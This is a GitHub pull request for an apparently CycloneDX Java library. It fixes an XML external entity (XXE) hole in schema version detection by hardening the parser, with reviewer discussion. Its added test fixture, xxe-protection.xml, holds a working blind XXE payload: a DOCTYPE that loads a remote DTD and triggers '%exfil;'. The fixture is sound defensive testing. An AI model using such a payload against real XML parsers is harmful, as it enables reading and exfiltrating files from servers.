Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Fix possible XXE during XML schema version detection #434

Merged
merged 1 commit into from
Jun 21, 2024
Merged

Fix possible XXE during XML schema version detection #434

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
91 changes: 68 additions & 23 deletions src/main/java/org/cyclonedx/parsers/XmlParser.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -24,30 +24,35 @@
import org.cyclonedx.Version;
import org.cyclonedx.exception.ParseException;
import org.cyclonedx.model.Bom;
import org.w3c.dom.Document;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.ErrorHandler;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;

import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.Source;
import javax.xml.transform.stream.StreamSource;
import javax.xml.validation.Schema;
import javax.xml.validation.Validator;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathConstants;
import javax.xml.xpath.XPathExpression;
import javax.xml.xpath.XPathExpressionException;
import javax.xml.xpath.XPathFactory;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.Reader;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;

/**
* XmlParser is responsible for validating and parsing CycloneDX bill-of-material
Expand All @@ -63,16 +68,23 @@ public XmlParser() {
mapper = new XmlMapper();
}

private static final Map<String, String> NAMESPACE_TO_VERSION_MAP = new HashMap<>();

static {
for (Version version : Version.values()) {
NAMESPACE_TO_VERSION_MAP.put(version.getNamespace(), version.getVersionString());
}
}

/**
* {@inheritDoc}
*/
public Bom parse(final File file) throws ParseException {
try {
final String schemaVersion = identifySchemaVersion(
extractAllNamespaceDeclarations(new InputSource(Files.newInputStream(file.toPath()))));
final String schemaVersion = identifySchemaVersion(new InputSource(Files.newInputStream(file.toPath())));

return injectSchemaVersion(mapper.readValue(file, Bom.class), schemaVersion);
} catch (IOException | XPathExpressionException e) {
} catch (IOException | ParserConfigurationException | SAXException e) {
throw new ParseException(e);
}
}
Expand All @@ -82,11 +94,10 @@ public Bom parse(final File file) throws ParseException {
*/
public Bom parse(final byte[] bomBytes) throws ParseException {
try {
final String schemaVersion = identifySchemaVersion(
extractAllNamespaceDeclarations(new InputSource(new ByteArrayInputStream(bomBytes))));
final String schemaVersion = identifySchemaVersion(new InputSource(new ByteArrayInputStream(bomBytes)));

return injectSchemaVersion(mapper.readValue(bomBytes, Bom.class), schemaVersion);
} catch (IOException | XPathExpressionException e) {
} catch (IOException | ParserConfigurationException | SAXException e) {
throw new ParseException(e);
}
}
Expand Down Expand Up @@ -278,22 +289,56 @@ public boolean isValid(final InputStream inputStream, final Version schemaVersio
return validate(inputStream, schemaVersion).isEmpty();
}

private String identifySchemaVersion(final NodeList nodeList) {
for (int i=0; i<nodeList.getLength(); i++) {
final Node node = nodeList.item(i);
for (final Version version: Version.values()) {
if (version.getNamespace().equals(node.getNodeValue())) {
return version.getVersionString();
}
private String identifySchemaVersion(final InputSource in)
throws ParserConfigurationException, IOException, SAXException
{

List<String> namespaces = extractAllNamespaceDeclarations(in);

for (String namespaceUri : namespaces) {
String versionString = NAMESPACE_TO_VERSION_MAP.get(namespaceUri);
if (versionString != null) {
return versionString;
}
}
return null;
}

private NodeList extractAllNamespaceDeclarations(final InputSource in) throws XPathExpressionException {
final XPathFactory xPathFactory = XPathFactory.newInstance();
final XPath xPath = xPathFactory.newXPath();
final XPathExpression xPathExpression = xPath.compile("//namespace::*");
return (NodeList) xPathExpression.evaluate(in, XPathConstants.NODESET);
private List<String> extractAllNamespaceDeclarations(final InputSource in)
throws ParserConfigurationException, IOException, SAXException
{
Document doc = createSecureDocument(in);
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.

I thought about this but then I realized this part is not doing any parsing of the content, this is to get the schema version to parse to the right version, for the deserialization we use Jackson who by default has this protection enabled FasterXML/jackson-dataformat-xml#190 so even if we wanted to do this we would need to change the default behavior of Jackson

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own DocumentBuilderFactory, but defaulting to a locked-down version.

But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.


// Extract all namespaces, including the default namespace
List<String>namespaces = new ArrayList<>();
extractNamespaces(doc.getDocumentElement(), namespaces);

return namespaces;
}

private void extractNamespaces(Node node, List<String> namespaces) {
if (node.getNodeType() == Node.ELEMENT_NODE) {
NamedNodeMap attributes = node.getAttributes();
for (int i = 0; i < attributes.getLength(); i++) {
Node attr = attributes.item(i);
if (attr.getNodeName().equals("xmlns")) {
namespaces.add(attr.getNodeValue());
}
}
}
NodeList children = node.getChildNodes();
for (int i = 0; i < children.getLength(); i++) {
extractNamespaces(children.item(i), namespaces);
}
}

private Document createSecureDocument(InputSource in) throws ParserConfigurationException, IOException, SAXException
{
//https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xpathexpression
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
DocumentBuilder builder = df.newDocumentBuilder();
return builder.parse(in);
}
}
8 changes: 8 additions & 0 deletions src/test/java/org/cyclonedx/BomXmlGeneratorTest.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
package org.cyclonedx;

import org.apache.commons.io.IOUtils;
import org.cyclonedx.exception.ParseException;
import org.cyclonedx.generators.BomGeneratorFactory;
import org.cyclonedx.generators.json.BomJsonGenerator;
import org.cyclonedx.generators.xml.*;
Expand Down Expand Up @@ -533,6 +534,13 @@ public void testIssue408Regression_externalReferenceBom() throws Exception {
assertTrue(parser.isValid(loadedFile, version));
}

@Test
public void testXxeProtection() {
assertThrows(ParseException.class, () -> {
createCommonBomXml("/security/xxe-protection.xml");
});
}

@Test
public void testIssue408Regression_extensibleTypes() throws Exception {
Version version = Version.VERSION_15;
Expand Down
27 changes: 27 additions & 0 deletions src/test/resources/security/xxe-protection.xml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bom [<!ENTITY % sp SYSTEM "https://localhost:1010/test/593ab443b77890d052e55899b16b61a8/raw/3cdd376bba0007145fa2bbacb9abe36cbd5a43ce/file.dtd"> %sp; %param1; %exfil;]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5" serialNumber="urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79">
<components>
<component type="application">
<name>Example Application &#x26;xxe;3</name>
<version>2.1.0</version>
<description>This is an example application</description>
<licenses>
<license>
<id>Apache-2.0</id>
</license>
</licenses>
<purl>pkg:npm/[email protected]</purl>
</component>
<component type="library">
<name>Example Library</name>
<version>3.2.1</version>
<licenses>
<license>
<id>MIT</id>
</license>
</licenses>
<purl>pkg:npm/[email protected]</purl>
</component>
</components>
</bom>